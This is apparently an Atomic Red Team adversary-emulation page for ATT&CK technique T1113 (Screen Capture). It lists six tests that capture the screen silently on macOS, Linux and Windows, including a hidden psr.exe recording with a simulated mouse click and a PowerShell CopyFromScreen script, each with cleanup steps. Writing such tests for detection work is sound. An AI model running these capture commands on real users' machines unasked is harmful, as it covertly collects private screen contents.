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# T1113 - Screen Capture

## Description from ATT&CK

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

## Atomic Tests

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## Atomic Test #1 - Screenshot

Use screenshot command to collect a full desktop screenshot

**Supported Platforms:** macOS

**auto\_generated\_guid:** 0f47ceb1-720f-4275-96b8-21f0562217ac

**Inputs:**

Name	Description	Type	Default Value
output_file	Output file path	Path	/tmp/T1113_desktop.png

**Attack Commands:** Run with **bash** !

```
screenshot #{output_file}
```



**Cleanup Commands:**

```
rm #{output_file}
```



## Atomic Test #2 - Screenshot (silent)

Use screenshot command to collect a full desktop screenshot

**Supported Platforms:** macOS

**auto\_generated\_guid:** deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4

### Inputs:

Name	Description	Type	Default Value
output_file	Output file path	Path	/tmp/T1113_desktop.png

### Attack Commands: Run with **bash** !

```
screencapture -x ${output_file}
```



### Cleanup Commands:

```
rm ${output_file}
```



## Atomic Test #3 - X Windows Capture

Use xwd command to collect a full desktop screenshot and review file with xwud

**Supported Platforms:** Linux

**auto\_generated\_guid:** 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac

### Inputs:

Name	Description	Type	Default Value
output_file	Output file path	Path	/tmp/T1113_desktop.xwd
package_checker	Package checking command for linux. Debian system command- dpkg -s x11-apps	String	rpm -q xorg-x11-apps
package_installer	Package installer command for linux. Debian system command- apt-get install x11-apps	String	yum install -y xorg-x11-apps

Attack Commands: Run with `bash` !

```
xwd -root -out #{output_file}
xwud -in #{output_file}
```

Cleanup Commands:

```
rm #{output_file}
```

Dependencies: Run with `bash` !

Description: Package with XWD and XWUD must exist on device

Check Prereq Commands:

```
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
```

Get Prereq Commands:

```
sudo #{package_installer}
```

# Atomic Test #4 - Capture Linux Desktop using Import Tool

Use import command from ImageMagick to collect a full desktop screenshot

Supported Platforms: Linux

auto\_generated\_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1

Inputs:

Name	Description	Type	Default Value
output_file	Output file path	Path	/tmp/T1113_desktop.png

### Attack Commands: Run with `bash` !

```
import -window root #{output_file}
```



### Cleanup Commands:

```
rm #{output_file}
```



### Dependencies: Run with `bash` !

Description: ImageMagick must be installed

### Check Prereq Commands:

```
if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi
```



### Get Prereq Commands:

```
sudo apt install graphicsmagick-imagemagick-compat
```



## Atomic Test #5 - Windows Screenshot

Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour

Supported Platforms: Windows

auto\_generated\_guid: 3c898f62-626c-47d5-aad2-6de873d69153

### Inputs:

Name	Description	Type	Default Value
output_file	Output file path	Path	c:\temp\T1113_desktop.zip

recording_time	Time to take screenshots	String	5
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Attack Commands: Run with powershell !

```
cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12
Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);'
[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);
cmd /c "timeout #{recording_time} > NULL && psr.exe /stop"
```

Cleanup Commands:

```
rm #{output_file} -ErrorAction Ignore
```

PreviewCodeBlame

RawCopyDownloadMenu

# Atomic Test #6 - Windows Screen Capture (CopyFromScreen)

Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen](#) .NET API.

Supported Platforms: Windows

auto\_generated\_guid: e9313014-985a-48ef-80d9-cde604ffc187

Inputs:

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	Path	\$env:TEMP\T1113.png

Attack Commands: Run with powershell !

```
Add-Type -AssemblyName System.Windows.Forms
$screen = [Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height
$graphic = [Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)
$bitmap.Save("#{output_file}")
```

## Cleanup Commands:

```
Remove-Item #{output_file} -ErrorAction Ignore
```

